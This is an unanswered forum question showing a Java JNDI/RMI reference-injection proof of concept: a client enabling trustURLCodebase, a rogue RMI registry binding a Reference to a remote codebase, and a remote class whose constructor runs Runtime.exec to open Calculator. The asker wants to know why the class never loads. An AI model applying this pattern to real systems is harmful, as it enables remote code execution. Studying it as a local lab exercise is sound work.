JNDI Reference+RMI, load remote .class failed

Viewed 945

my java version is: 1.8.0_282

this is client:

import java.rmi.registry.*;
import javax.naming.*;


public class RegistryClient {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        Context registry = new InitialContext();
        registry.lookup("rmi://127.0.0.1:1099/Demo");

        System.out.println("done");
    }
}

this is server:

import java.rmi.registry.*;
import javax.naming.*;
import com.sun.jndi.rmi.registry.ReferenceWrapper;


public class RegistryServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference(
            "xxx",
            "RMIRegistryDemoRemote",
            "http://127.0.0.1:8000/"
        );
        ReferenceWrapper hello = new ReferenceWrapper(refObj);

        registry.bind("Demo", hello);
        System.out.println("[!] server is ready");
    }

}

this is the interface and implement of RMIRegistryDemo:

import java.rmi.*;


public interface RMIRegistryDemo extends Remote {
    String sayHello(String name) throws Exception;
}
import java.rmi.server.*;
import java.rmi.*;

public class RMIRegistryDemoImpl extends UnicastRemoteObject implements RMIRegistryDemo {

    public RMIRegistryDemoImpl() throws Exception {}

    String id = "10";

    @Override
    public String sayHello(String name) {
        System.out.println(id);
        return "Hi, " + name;
    }

}

this is the remote .class:

import java.io.IOException;

public class RMIRegistryDemoRemote {
    public RMIRegistryDemoRemote() throws IOException {
        final Process process = Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}

after:

  1. run RegistryServer
  2. deployed a web server to send RMIRegistryDemoRemote.class
  3. run RegistryClient

the client just prints "done", and no access log in my weblog:

# overflow in ~/Downloads/test [16:16:44]
» javac RegistryClient.java && java RegistryClient
done
# overflow in ~/Downloads/test/remote [16:20:05]
» python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

what causes it?

0 Answers
Related